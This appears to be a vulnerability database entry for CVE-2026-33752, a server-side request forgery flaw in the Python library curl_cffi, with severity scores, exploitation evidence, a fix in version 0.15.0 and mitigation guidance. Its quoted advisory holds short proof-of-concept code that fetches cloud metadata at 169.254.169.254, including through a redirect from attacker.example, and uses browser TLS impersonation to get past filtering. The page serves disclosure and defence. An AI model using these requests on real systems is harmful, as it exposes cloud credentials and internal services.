VulnerabilityPublished 6 Apr 2026

CVE-2026-33752: lexiforest curl_cffi · Server-Side Request Forgery (SSRF)

Affects lexiforest curl_cffiSource CVE Database V5

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Mentioned vulnerabilities

CVE-2025-68616

Not known to be exploited · CVSS 8.6 High : upgrade to 0.15.0 soon.

Data as of 30 Oct 2026, 06:59 UTC

CVSS 3.1 base score

8.6High

How severe the flaw is on the 0–10 CVSS scale.

EPSS: 0.4% chance of exploitation in 30 days – higher than 40% of CVEsExploit Prediction Scoring System: the likelihood attackers will use this flaw soon.
Patch: Available – fixed in 0.15.0

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N

Attack Vector: Network
Attack Complexity: Low
Privileges Required: None
User Interaction: None
Scope: Changed
Confidentiality: High
Integrity: None
Availability: None

Bold values are the worst case: easiest to exploit or largest impact.

Attack Vector: Network: The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed, up to and including the entire Internet. Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).
Attack Complexity: Low: Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.
Privileges Required: None: The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.
User Interaction: None: The vulnerable system can be exploited without any interaction from any user.
Scope: Changed: An exploited vulnerability can affect resources beyond the security scope managed by the security authority of the vulnerable component. In this case, the vulnerable component and the impacted component are different and managed by different security authorities.
Confidentiality: High: There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact.
Integrity: None: There is no loss of integrity within the impacted component.
Availability: None: There is no impact to availability within the impacted component.

Definitions: FIRST CVSS v3.1 specification.

Exploitation evidence

Disclosed: evidence found.
CVE published 6 Apr 2026
Detectable: no evidence on record.
No public nuclei template indexed
Weaponized: evidence found.
Public exploit code: GitHub proofs of concept
Exploited in the wildExploited: no evidence on record.
Not in CISA KEV and no source reports exploitation
Observed by OffSeq MirageSeen by Mirage: no evidence on record.
No attack traffic recorded by OffSeq Mirage sensors

A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), GitHub proofs of concept, the Metasploit, Exploit-DB and nuclei-templates index as of 29 Oct 2026.

Disclosed: The CVE record is public on cve.org. Its publication is t = 0.
Detectable: A public nuclei template can find exposed instances, for defenders and attackers alike.
Weaponized: A Metasploit exploit module or Exploit-DB entry exists (Metasploit scanner modules do not count), or CISA SSVC or the CVSS exploit maturity reports a public proof of concept.
Exploited in the wild: CISA KEV lists it, CISA SSVC rates exploitation active, or a source reports attacks.
Observed by OffSeq Mirage: OffSeq Mirage honeypot sensors recorded attack traffic for this CVE, or found exposed hosts without attack traffic.

Moments are spaced evenly, not to scale; a dashed line marks a gap of six months or more. Deltas count from t = 0. Sources that give only a date (CISA KEV, Exploit-DB, or a time of exactly 00:00Z) read “same day” rather than hours. Metasploit modules carry the flaw’s disclosure date, not their release date, and nuclei templates carry no date, so both appear above but not on the timeline.

What to do

Upgrade lexiforest curl_cffi to 0.15.0.

Affected software

Product	Affected	Fixed in
lexiforestcurl_cffi	Affected <0.15.0	Fixed in 0.15.0

AI-suggested

Upgrade curl_cffi to version 0.15.0 or later, where this SSRF vulnerability is fixed. Since the vendor advisory does not provide additional remediation details, patching to the fixed version is the recommended action. Patch status is not explicitly confirmed beyond the fixed version statement; verify with the vendor advisory for the latest guidance.

Description

### Summary curl_cffi does not restrict requests to internal IP ranges, and follows redirects automatically via the underlying libcurl. Because of this, an attacker-controlled URL can redirect requests to internal services such as cloud metadata endpoints. In addition, curl_cffi’s TLS impersonation feature can make these requests appear as legitimate browser traffic, which may bypass certain network controls. ### Details The issue comes from how curl_cffi handles outbound requests - User-supplied URLs are passed directly to libcurl without checking whether they resolve to internal IP ranges (e.g., 127.0.0.1, 169.254.0.0/16). - Redirects are automatically followed (CURLOPT_FOLLOWLOCATION = 1) inside libcurl. - There is no validation of redirect destinations at the Python layer. This means that even if an application only allows requests to external URLs, an attacker can - Provide a URL pointing to an attacker-controlled server - Return a redirect response pointing to an internal service - Have curl_cffi follow that redirect automatically As a result, internal endpoints (such as cloud instance metadata APIs) can be accessed. Additionally, curl_cffi supports TLS fingerprint impersonation (e.g., impersonate="chrome"). In environments where outbound requests are filtered based on TLS fingerprinting, this can make such requests harder to detect or block This behavior is similar to previously reported redirect-based SSRF issues such as CVE-2025-68616, where redirects allowed access to unintended internal resources. ### PoC 1. Direct internal request ``` import curl_cffi resp = curl_cffi.get("http://169.254.169.254/latest/meta-data/") print(resp.text) ``` 2. Redirect to internal service Attacker server: ``` GET /test → 302 Location: http://169.254.169.254/latest/meta-data/ ``` Victim code: ``` import curl_cffi resp = curl_cffi.get("https://attacker.example/test") print(resp.text) ``` Result - Initial request goes to attacker server - Redirect is returned - libcurl follows the redirect automatically - Internal metadata endpoint is accessed 3. With TLS impersonation ``` import curl_cffi\ resp = curl_cffi.get( "https://attacker.example/test", impersonate="chrome") ``` In some environments, this may help the request bypass TLS-based filtering controls. ### Impact An attacker who can control the requested URL may be able to: - Access internal network services - Reach cloud metadata endpoints and retrieve sensitive information - Bypass certain outbound filtering mechanisms (depending on environment) This corresponds to CWE-918 Server-Side Request Forgery.

Impact

Successful exploitation allows an attacker to make the vulnerable application send requests to internal network services that are normally inaccessible externally, such as cloud metadata endpoints. This can lead to unauthorized information disclosure. The vulnerability does not impact integrity or availability directly. There are no known exploits in the wild at this time.

Summary

The curl_cffi Python binding for curl versions before 0.15.0 is vulnerable to SSRF due to lack of restrictions on internal IP ranges and automatic redirect following via libcurl. An attacker can exploit this by supplying a malicious URL that redirects requests to internal network services, including sensitive cloud metadata endpoints. Additionally, curl_cffi’s TLS impersonation feature can disguise these requests as legitimate browser traffic, which may evade some network security mechanisms. The vulnerability is addressed in curl_cffi version 0.15.0.

CWE-918Server-Side Request Forgery (opens in a new tab)
Base weaknessCWE Top 25 (2025): #22OWASP Top 10 A01:2025: Broken Access Control (opens in a new tab)
The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.
Implementation · Operation
If there is a known list of applications, IP, hostname, and/or domains to which the product is allowed to communicate, then use allowlists to ensure that outgoing requests are restricted to these known entities. The allowlists could be in the application code or possibly enforced by firewalls or network segmentation.
Implementation · Operation
If the product is expected to be able to connect to arbitrary IP addresses or domains, consider using a denylist that includes private network addresses, internal domain names, etc. The denylist could be in the application code or possibly enforced by firewalls or network segmentation.
Implementation · Input Validation
Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
OWASP Cheat Sheets
Server Side Request Forgery Prevention (opens in a new tab)
Unvalidated Redirects and Forwards (opens in a new tab)
Cross Site Scripting Prevention (opens in a new tab)
DOM based XSS Prevention (opens in a new tab)
Authorization (opens in a new tab)
OWASP ASVS 4.0.3
V12.6.1 (opens in a new tab)
V5.2.6 (opens in a new tab)
Attack patterns
Server Side Request Forgery (opens in a new tab)
From MITRE CWE, MITRE CAPEC and OWASP (Top 10, OpenCRE).

References

github.com/lexiforest/curl_cffi/security/advisories/GHSA-qw2m-4pqf-rmpp (opens in a new tab)

Community reviews

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Exploitation evidence

What to do

Affected software

Description

AI analysisMachine-generated, updated 6 Apr 2026, 15:45 UTC

Public exploits and detectionGitHub proofs of concept

WeaknessesCWE-918

Technical details

References

Community reviews

Related threats